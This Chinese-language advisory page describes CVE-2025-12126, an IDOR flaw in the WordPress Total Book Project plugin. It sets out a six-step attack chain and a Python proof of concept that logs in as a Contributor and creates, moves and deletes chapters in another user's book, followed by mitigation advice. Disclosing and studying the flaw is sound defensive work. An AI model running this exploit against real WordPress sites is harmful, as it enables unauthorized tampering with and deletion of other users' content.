IPBUF安全漏洞报告
English
CVE-2025-12126 CVSS 5.4 中危

CVE-2025-12126 WordPress Total Book Project插件IDOR漏洞

披露日期: 2025-11-11

漏洞信息

漏洞编号
CVE-2025-12126
漏洞类型
不安全直接对象引用(IDOR)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
The Total Book Project plugin for WordPress

相关标签

IDORWordPress插件漏洞越权访问Total Book ProjectCVE-2025-12126认证用户漏洞对象引用验证缺失

漏洞概述

CVE-2025-12126是WordPress的The Total Book Project插件中的一个中等严重性安全漏洞。该插件旨在帮助用户创建和管理书籍内容,但在所有版本(直到1.0版本)存在不安全直接对象引用(IDOR)问题。漏洞的根本原因在于多个关键函数缺少对用户控制键的充分验证机制。在WordPress的权限模型中,Contributor角色通常只能管理自己创建的内容,但该插件未能正确验证当前登录用户是否有权对特定书籍执行操作。攻击者只需拥有Contributor或更高权限账号,即可通过操纵请求中的对象标识符(如书籍ID或章节ID),对自己不拥有的书籍执行移动、删除、创建章节等敏感操作。这种漏洞允许低权限用户越权访问和修改其他用户的内容资源,可能导致数据泄露、内容篡改或服务中断等安全问题。由于该漏洞利用门槛较低(只需低权限账号),且攻击无需用户交互,因此在实际环境中具有较高的利用风险。建议网站管理员尽快检查并更新插件到最新版本,或采取临时缓解措施。

技术细节

该IDOR漏洞源于The Total Book Project插件在处理书籍和章节操作时,未能正确验证用户对目标对象的访问权限。漏洞影响插件的多个核心函数,这些函数直接使用用户提供的对象标识符(如book_id、chapter_id)而未进行所有权验证。在WordPress权限体系中,Contributor角色的用户通常只能创建和编辑自己发布的文章,但无法修改其他用户的内容。然而,该插件的受影响函数在执行移动、删除、创建章节等操作时,仅检查用户是否登录,而未验证目标书籍是否属于当前用户。攻击者可以通过拦截正常请求,修改其中的对象ID参数(如将book_id从自己的书籍改为其他用户的书籍),然后发送修改后的请求。服务器端会直接使用这个未经授权的book_id执行相应操作,导致权限绕过。攻击者利用此漏洞可以实现:1)向他人书籍添加/创建章节;2)移动他人书籍中的章节位置;3)删除他人书籍的章节内容。这种设计缺陷使得攻击者可以在不知情的情况下对其他用户的内容进行未授权操作,严重违反WordPress的内容隔离原则。修复方案需要在每个敏感操作前添加当前用户对目标书籍的所有权验证。

攻击链分析

STEP 1
信息收集
攻击者识别目标WordPress网站安装的The Total Book Project插件版本,确认版本<=1.0
STEP 2
获取低权限账号
攻击者注册或获取WordPress Contributor角色账号,或利用已有低权限账号登录
STEP 3
枚举目标书籍
通过浏览网站或API接口发现其他用户的书籍ID和章节结构
STEP 4
构造恶意请求
拦截正常用户的书籍操作请求,修改其中的book_id为受害者的书籍ID
STEP 5
发送IDOR请求
使用修改后的请求向服务器发送创建/移动/删除章节的操作,服务器未验证所有权
STEP 6
越权操作执行
服务器执行操作,将攻击者指定的章节操作应用于受害者书籍,实现权限绕过

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12126 PoC - WordPress Total Book Project IDOR # Authenticated Contributor+ can manipulate chapters in other users' books import requests import re TARGET_URL = "http://target-wordpress-site.com" ATTACKER_USERNAME = "attacker" ATTACKER_PASSWORD = "attacker_password" TARGET_BOOK_ID = 123 # Victim's book ID (not owned by attacker) def exploit_idor(): """ Exploit IDOR vulnerability in Total Book Project plugin. Steps: 1. Authenticate as Contributor user 2. Identify target book ID belonging to another user 3. Manipulate chapter operations via IDOR """ session = requests.Session() # Step 1: Login as Contributor user login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': ATTACKER_USERNAME, 'pwd': ATTACKER_PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Step 2: Create chapter in victim's book (IDOR) create_chapter_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" create_data = { 'action': 'total_book_create_chapter', 'book_id': TARGET_BOOK_ID, # IDOR: Using victim's book ID 'chapter_title': 'Malicious Chapter', 'chapter_content': 'Injected content via IDOR', 'nonce': 'attacker_obtained_nonce' # Need valid nonce from page source } response = session.post(create_chapter_url, data=create_data) print(f"Create chapter response: {response.status_code}") # Step 3: Move chapter in victim's book (IDOR) move_chapter_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" move_data = { 'action': 'total_book_move_chapter', 'book_id': TARGET_BOOK_ID, # IDOR vulnerability 'chapter_id': 456, # Chapter to move 'new_position': 1 } response = session.post(move_chapter_url, data=move_data) print(f"Move chapter response: {response.status_code}") # Step 4: Delete chapter in victim's book (IDOR) delete_chapter_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" delete_data = { 'action': 'total_book_delete_chapter', 'book_id': TARGET_BOOK_ID, # IDOR vulnerability 'chapter_id': 789 # Chapter to delete } response = session.post(delete_chapter_url, data=delete_data) print(f"Delete chapter response: {response.status_code}") return True if __name__ == "__main__": exploit_idor()

影响范围

The Total Book Project plugin for WordPress <= 1.0

防御指南

临时缓解措施
如果无法立即升级插件,可以临时限制Contributor角色的AJAX权限,或在WordPress主题的functions.php中添加临时访问控制逻辑,拦截并验证所有对total_book_开头的AJAX请求的用户权限。同时建议加强用户权限管理,定期审查用户角色分配,避免给非必要用户分配Contributor或更高权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表